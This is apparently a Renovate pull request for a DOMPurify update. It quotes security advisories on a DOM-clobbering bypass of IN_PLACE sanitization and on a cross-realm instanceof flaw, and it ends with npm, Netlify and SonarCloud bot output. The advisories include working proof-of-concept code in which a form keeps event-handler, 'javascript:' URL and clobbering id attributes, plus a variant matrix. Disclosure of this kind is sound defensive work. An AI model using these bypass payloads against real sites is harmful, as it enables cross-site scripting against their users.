    root.appendChild(clobber);

    DOMPurify.sanitize(root, { IN_PLACE: true });

    document.body.appendChild(root);
    window.__rooted = 0;
    root.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));

    return {
      version: DOMPurify.version,
      output: root.outerHTML,
      handlerFired: window.__rooted === 1,
    };
  });
  console.log(result);
  await browser.close();
})();

Observed (Chromium 148.0.7778.96, DOMPurify 3.4.5, HEAD 89da34e):

{
  version: '3.4.5',
  output: '<form onmouseover="window.__rooted = 1"><input name="nodeName"></form>',
  handlerFired: true
}

(3) Variant matrix — six distinct clobber-target properties

Every property name in _isClobbered's typeof checklist works as the bypass trigger:

[BYPASS] name="nodeName"      → <form onmouseover="…"><input></form>
[BYPASS] name="setAttribute"  → <form onmouseover="…"><input></form>
[BYPASS] name="namespaceURI"  → <form onmouseover="…"><input></form>
[BYPASS] name="insertBefore"  → <form onmouseover="…"><input></form>
[BYPASS] name="hasChildNodes" → <form onmouseover="…"><input></form>
[BYPASS] name="childNodes"    → <form onmouseover="…"><input></form>

This makes the fix less of a one-line patch — every property _isClobbered checks for the typeof-spoofing pattern needs to be considered.

Impact

Direct

Two distinct impact paths from the same root-attribute-survival primitive:

(a) XSS via event-handler attribute on the surviving root. Any consumer that uses DOMPurify.sanitize(node, { IN_PLACE: true }) where node originated from untrusted HTML and is re-inserted into the live document is vulnerable to XSS. The typical pattern is:

const t = document.createElement('template');
t.innerHTML = untrustedHtml;
DOMPurify.sanitize(t.content.firstElementChild, { IN_PLACE: true });
container.appendChild(t.content.firstElementChild);

If untrustedHtml is <form onmouseover=…><input name=nodeName>…</form>, the resulting node has the onmouseover attribute intact when re-inserted into the live document.

(b) Every attribute-level defense is bypassed on the surviving root, not just event handlers. The _sanitizeAttributes early-return at :1490 skips the entire attribute walk for clobbered nodes, so the root preserves attributes that the attribute walk would otherwise sanitize. Verified additional attributes that survive:

• action="javascript:..." and formaction="javascript:..." — URI validation at :1413 never runs. A user click on a submit button inside the sanitized form navigates to the javascript: URL, executing the handler. Adds a click-triggered XSS path on top of the mouseover/focus event-handler attributes already documented.
• id="<colliding-name>" — the DOM-clobbering guard at :1352-1359 (SANITIZE_DOM && (lcName === 'id' || lcName === 'name') && (value in document || value in formElement)) lives inside _sanitizeAttributes and is skipped. An attacker can therefore land id="cookie", id="body", id="head", id="firstChild", etc. on the surviving form root and use it as a DOM-clobbering primitive against any consumer code that does document.cookie, document.body, etc.
• target="_top", autofocus, formenctype, formmethod — all survive untouched.
• Custom event handlers DOMPurify wouldn't have explicit list entries for (e.g., newly-spec'd oncontentvisibilityautostatechange) survive on the clobbered root via the same skip; the per-name allow-list at :1361-1364 never runs.

Verified — full attribute set survives on a single payload (PoC):

const root = document.createElement('form');
root.setAttribute('action', 'javascript:alert(1)');
root.setAttribute('target', '_top');
root.setAttribute('onclick', 'alert(2)');
root.setAttribute('onmouseover', 'alert(3)');
root.setAttribute('autofocus', '');
root.setAttribute('formaction', 'javascript:alert(4)');
root.setAttribute('id', 'cookie');           // DOM-clobbering primitive
root.innerHTML += '<input name="nodeName">';
DOMPurify.sanitize(root, { IN_PLACE: true });
console.log(root.outerHTML);
// <form action="javascript:alert(1)" target="_top" onclick="alert(2)"
//       onmouseover="alert(3)" autofocus="" formaction="javascript:alert(4)"
//       id="cookie"><input></form>

(c) Defense-in-depth re-sanitization on the same node is INEFFECTIVE — the clobber is sticky. Chromium's HTMLFormElement named-property cache appears to retain the named child reference even after the child's name attribute is removed during the sanitization pass. Empirically verified — after the first sanitize pass, the input's name="nodeName" attribute is correctly stripped (the output shows <input> with no attributes), yet typeof form.nodeName === 'object' is still true and the input element is still returned. Calling DOMPurify.sanitize(sameNode, { IN_PLACE: true }) a second time hits the same _isClobbered → _forceRemove → _sanitizeAttributes early-return path. The only effective recovery is serialize-then-reparse:

const root = parseAttackerHtml();                                     // form with input name="nodeName" child
DOMPurify.sanitize(root, { IN_PLACE: true });                         // bypass: attrs survive
DOMPurify.sanitize(root, { IN_PLACE: true });                         // STILL bypassed: attrs survive
const recovered = (() => {
  const t = document.createElement('template');
  t.innerHTML = root.outerHTML;                                       // forces a fresh parse
  const r = t.content.firstElementChild;
  DOMPurify.sanitize(r, { IN_PLACE: true });
  return r;
})();
// recovered.outerHTML === '<form><input></form>'  ← finally clean

A "belt-and-suspenders" caller that re-runs DOMPurify on its own output is therefore not protected against this primitive on Chromium; the obvious mitigation pattern fails silently. Any user-side workaround needs to route through a string round-trip.

(d) SAFE_FOR_TEMPLATES bypass for the root's attributes. When the caller sets SAFE_FOR_TEMPLATES: true to defend a downstream template engine (Vue, Angular, Liquid, Handlebars, …) from receiving `` / <%…%> / `${…}` syntax through DOMPurify's output, attribute-level template-syntax stripping runs in the same `_sanitizeAttributes` pass that early-returns on clobbered roots (`:1572-1576`). The root's attributes therefore retain raw template syntax that the downstream engine then evaluates.

Verified — same PoC structure, with SAFE_FOR_TEMPLATES: true:

const root = document.createElement('form');
root.setAttribute('title', '');
root.setAttribute('onmouseover', 'window.__x=1');
const c = document.createElement('input');
c.setAttribute('name', 'nodeName');
root.appendChild(c);

DOMPurify.sanitize(root, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });

console.log(root.outerHTML);
// <form title="" onmouseover="window.__x=1"><input></form>
//        ^^^^^^^^^^^^^^^^ template syntax survives

This compounds with (a): a single payload exfiltrates via XSS (immediate) and via SSTI to downstream renderers (delayed).

(Text-node content inside the form is still scrubbed correctly — _scrubTemplateExpressions at :1868-1870 walks text/comment/CDATA/PI nodes independently and reaches them via the iterator. Only attribute values on the clobbered root escape.)

Indirect / second-order

• DOM-based template systems / editors that wrap DOMPurify with an IN_PLACE call for parsed user content (CMSes, comment widgets, WYSIWYG editors persisting structured HTML).
• Email/HTML preview libraries that pre-parse received HTML before sanitization for performance reasons.
• Frameworks that hand DOMPurify a node tree rather than a string — including, indirectly, any code path that does el.innerHTML = …; DOMPurify.sanitize(el, { IN_PLACE: true }). The outer el is fine (it's not the form), but if the first child of el is taken as the sanitization root in a different code path, the bypass triggers.

Why current main is also vulnerable

Commit 89da34e ("fix: fixed a possible DOM clobbering with IN_PLACE and shadow DOM") hardens _sanitizeAttachedShadowRoots via three new cached prototype getters (getShadowRoot, getNodeName, getNodeType) and an _isClobbered extension that checks element.childNodes.length. The fix is correct for its scope — shadow-root traversal — but does not change _forceRemove's parent-less-node behavior or _sanitizeAttributes's clobber-skip early-return. The bypass demonstrated here is in the IN_PLACE main pipeline, not the shadow-root walk, and the verification PoC above runs against HEAD 89da34e and still succeeds.

Suggested fix

Two minimal-risk options:

1. Make _forceRemove honest about failure: return whether the node was actually detached, and have the iterator call site honor that.

   const _forceRemove = function (node: Node): boolean {
     arrayPush(DOMPurify.removed, { element: node });
     try {
       getParentNode(node).removeChild(node);
       return true;
     } catch (_) {
       try { remove(node); } catch (_) {}
       return node.parentNode === null && /* but still attached to itself */ false;
     }
   };

   Then at :1855, if _sanitizeElements returns true AND IN_PLACE, force-strip all attributes of the root before returning the dirty tree. (This is what the user expects — sanitization either succeeds or refuses to return a "sanitized" handle to an unsanitized tree.)

2. Strip attributes inside _sanitizeAttributes for clobbered roots: when _isClobbered(currentNode) is true at :1490, instead of early-returning, iterate currentNode.attributes (using the cached getAttributes if you add one) and remove each via removeAttribute. This preserves the existing semantics for non-root clobbered nodes (their attributes-of-a-removed-node will be GC'd anyway) and removes the attack surface for root.

3. Refuse IN_PLACE on parent-less clobbered roots: at the top of the iterator, check that the root either has a parent OR is not _isClobbered. If both fail, throw. This is the most defensive option but breaks any existing caller that hands in a clobbered detached root expecting "sanitized = empty/safe."

Note on callable elements

In Chromium and WebKit, HTMLEmbedElement, HTMLAppletElement, HTMLIFrameElement, and HTMLScriptElement have typeof === 'function' because they expose plugin/iframe [[Call]] traps at the WebIDL level. A name="setAttribute" child of one of these tags spoofs the setAttribute typeof === 'function' check — but only matters for the attribute re-set path at :1619, not the bypass demonstrated here (which uses nodeName and friends). The callable-element vector is worth checking separately as a potential SAFE_FOR_TEMPLATES-bypass primitive; the present report does not depend on it.

Severity

• CVSS Score: 6.1 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

References

• https://github.com/cure53/DOMPurify/security/advisories/GHSA-r47g-fvhr-h676
• https://github.com/advisories/GHSA-r47g-fvhr-h676

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

DOMPurify: Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound instanceof checks

CVE-2026-49458 / GHSA-hpcv-96wg-7vj8

More information

Details

Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound instanceof checks

CWE: CWE-79 (XSS — Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure — realm-bound instanceof checks fail-open on foreign-realm DOM nodes) and CWE-501 (Trust Boundary Violation — foreign-realm nodes accepted for sanitization but later checks are bound to the parent realm)

Summary

DOMPurify.sanitize(node, { IN_PLACE: true }) accepts a DOM node from any same-origin realm (e.g. a node owned by an application-created iframe document), but several follow-on security checks compare the node against constructors from the parent realm. Because constructors are per-realm, instanceof HTMLFormElement, instanceof NamedNodeMap, instanceof DocumentFragment, and instanceof Element all return false for nodes belonging to the iframe's realm. The library therefore proceeds as if the foreign-realm form is not clobberable, the foreign-realm <template>'s .content is not a document fragment, and the foreign-realm attached shadow root is not a document fragment — silently skipping the clobber/template-content/shadow-DOM sanitization branches that those checks gate. Attacker-controlled markup survives in form attributes, template content, and attached shadow roots, and executes when the application later inserts or activates the sanitized node.

Affected

• DOMPurify ≤ 3.4.5, including main at 89da34e03ec17868e561f87f3747a9371b61a9e7
• Any caller that constructs or parses untrusted DOM in a same-origin iframe (or any other same-origin realm — popup window, opened tab, programmatically-created `<ifr

[!IMPORTANT]
✂ PR body was truncated to here.

[renovate]

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

• any of the package files in this branch needs updating, or
• the branch becomes conflicted, or
• you click the rebase/retry checkbox if found above, or
• you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: package-lock.json

npm warn Unknown env config "store". This will stop working in the next major version of npm. See `npm help npmrc` for supported config options.
npm error code ERESOLVE
npm error ERESOLVE could not resolve
npm error
npm error While resolving: @craco/craco@6.4.3
npm error Found: react-scripts@5.0.1
npm error node_modules/react-scripts
npm error   react-scripts@"5.0.1" from the root project
npm error   peer react-scripts@"^5" from craco-swc@0.5.1
npm error   node_modules/craco-swc
npm error     dev craco-swc@"0.5.1" from the root project
npm error
npm error Could not resolve dependency:
npm error peer react-scripts@"^4.0.0" from @craco/craco@6.4.3
npm error node_modules/@craco/craco
npm error   dev @craco/craco@"6.4.3" from the root project
npm error   peer @craco/craco@"^6 || ^7" from craco-swc@0.5.1
npm error   node_modules/craco-swc
npm error     dev craco-swc@"0.5.1" from the root project
npm error
npm error Conflicting peer dependency: react-scripts@4.0.3
npm error node_modules/react-scripts
npm error   peer react-scripts@"^4.0.0" from @craco/craco@6.4.3
npm error   node_modules/@craco/craco
npm error     dev @craco/craco@"6.4.3" from the root project
npm error     peer @craco/craco@"^6 || ^7" from craco-swc@0.5.1
npm error     node_modules/craco-swc
npm error       dev craco-swc@"0.5.1" from the root project
npm error
npm error Fix the upstream dependency conflict, or retry this command with --force or --legacy-peer-deps to accept an incorrect (and potentially broken) dependency resolution.
npm error
npm error
npm error For a full report see:
npm error /runner/cache/others/npm/_logs/2026-10-27T22_52_34_365Z-eresolve-report.txt
npm error A complete log of this run can be found in: /runner/cache/others/npm/_logs/2026-10-27T22_52_34_365Z-debug-0.log

[netlify]

❌ Deploy Preview for practical-hodgkin-4543e2 failed.

Name	Link
🔨 Latest commit	be43aa6
🔍 Latest deploy log	https://app.netlify.com/sites/practical-hodgkin-4543e2/deploys/67afc8b5f6198c0008c95e06

[sonarqubecloud]

Quality Gate passed

Issues
0 New issues
0 Accepted issues

Measures
0 Security Hotspots
0.0% Coverage on New Code
0.0% Duplication on New Code

See analysis details on SonarCloud

[sonarqubecloud]

Quality Gate passed

Issues
0 New issues
0 Accepted issues

Measures
0 Security Hotspots
0.0% Coverage on New Code
0.0% Duplication on New Code

See analysis details on SonarQube Cloud

[netlify]

❌ Deploy Preview for practical-hodgkin-4543e2 failed.

Name	Link
🔨 Latest commit	729a84e
🔍 Latest deploy log	https://app.netlify.com/projects/practical-hodgkin-4543e2/deploys/6ae12b409adc11d7cd366b7f

[sonarqubecloud]

Quality Gate passed

Issues
0 New issues
0 Accepted issues

Measures
0 Security Hotspots
0.0% Coverage on New Code
0.0% Duplication on New Code

See analysis details on SonarQube Cloud

[sonarqubecloud]

Quality Gate passed

Issues
0 New issues
0 Accepted issues

Measures
0 Security Hotspots
0.0% Coverage on New Code
0.0% Duplication on New Code

See analysis details on SonarQube Cloud

[sonarqubecloud]

Quality Gate passed

Issues
0 New issues
0 Accepted issues

Measures
0 Security Hotspots
0.0% Coverage on New Code
0.0% Duplication on New Code

See analysis details on SonarQube Cloud